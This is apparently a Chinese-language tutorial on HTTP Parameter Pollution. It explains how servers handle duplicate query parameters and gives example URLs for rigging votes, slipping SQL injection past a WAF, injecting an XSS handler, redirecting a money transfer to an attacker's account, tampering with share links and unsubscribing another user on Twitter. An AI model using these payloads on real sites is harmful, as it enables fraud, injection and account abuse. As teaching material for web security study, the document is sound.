HPP攻击原理介绍和利用

#E.G:
https://weiyigeek.com/test.php?color=red&color=blue

Web服务器 参数获取函数
PHP/Apache $_GET("par")
JSP/Tomcat Request.getParameter("par")
Perl(CGI)/Apache Param("par")
Python/Apache getvalue("par")
ASP/IIS Request.QueryString("par")
All (comma-delimited string)

Url : http://host/election.jsp?poll_id=4568  
Link1: <a href="vote.jsp?poll_id=4568&candidate=zhang">为张三投票</a>  
Link2: <a href="vote.jsp?poll_id=4568&candidate=li">为李四投票</a>

#我们根据HPP原理以及后端语言解析可知,JSP来说在有2个相同的名称的参数的时候会取第一个值,所以不管投票人选择的是谁始终都是张三得票。
Url : http://host/election.jsp?poll_id=4568&candidate=zhang  
Link1: <a href="vote.jsp?poll_id=4568&candidate=zhang&candidate=zhang">为张三投票</a>  
Link2: <a href="vote.jsp?poll_id=4568&candidate=zhang&candidate=li">为李四投票</a>  #其实还是为张三投票

//比如某网站的实现如下：
void private executeBackendRequest(HTTPRequest request){  
String action=request.getParameter("action");  
String user=request.getParameter("userid");  
String target=request.getParameter("target");  
HttpRequest("http://centralauthencationserver/checkpriviledge.jsp", "POST","action="+action+"&user="+user+"&target="+target);}  

/* get feedback of whether this user has privilege to perform specified action. If no such privilege, return error, otherwise continue perform the action*/  
HttpRequest("http://businessserver/performaction.php", "POST","action="+action+"&user="+user+"&target="+target);}

#示例服务端有可能会将key处理为select 1,2,3,4 from table，从而导致SQL注入
www.backlion.org/a?key=select&key=1,2,3,4 from table  #因为在参数id里面存在明显的SQL注入的模板：select…from…而会被WAF成功拦截。

#但是如果换成HPP的方式：
show_user.aspx?id=5;select+1&id=2&id=3+from+users+where+id=1--  #没有任何参数具备select…from…的特征，可能就可以绕过WAF的拦截了。
http://www.xishaonian.com/hello.php?id=select 1&id=2,3,4 from admin #还可以与XSS结合使用

#第一个kerberos直到被用于构建动态HTML内容前都没有被验证。
http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos  #原因是这个验证系统只采纳了第二个kerberos的值，这个值为空因此不会触发。
#最终在web站点的上下文中javascript语句被执行

<? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?> <a href="/page.php?action=view&par='.<?=$val?>.'">View Me!</a>

<a href="/page.php?action=view&par=123&action=edit">View Me!</a>

#Reuqest
POST https://www.example.com/transferMoney.php
#Params
amount=1000&fromAccount=12345

分离后端 URL：https://backend.example/doTransfer.php
分离后端参数：toAccount=9876&amount=1000&fromAccount=12345

#假设攻击者修改了发往网站的 POST 请求来提交toAccount参数像这样：
amount=1000&fromAccount=12345&toAccount=99999

#存在 HPP 漏洞的站点就会将请求转发给另一个后端系统（然而在PHP处理最后1个参数值则触发漏洞攻击）
toAccount=9876&amount=1000&fromAccount=12345&toAccount=9999 #将钱转账给恶意用户调教得账户（99999）而不是由系统设置的预期账户（9876）。

#U参数的值诱惑受害者点击，尝试通过社交媒体链接分享内容，恶意链接就会变为：
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov

#参数u就会拥有比第一个参数更高的优先级，之后会用于 Fackbook 的发布。在 Twitter 上发布时建议的默认文本也会改变：
https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov

#Poc:默认取最后一个人参数
https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&uid=1134885524&nid=22+26 #成功取消订阅了其它用户的邮件提醒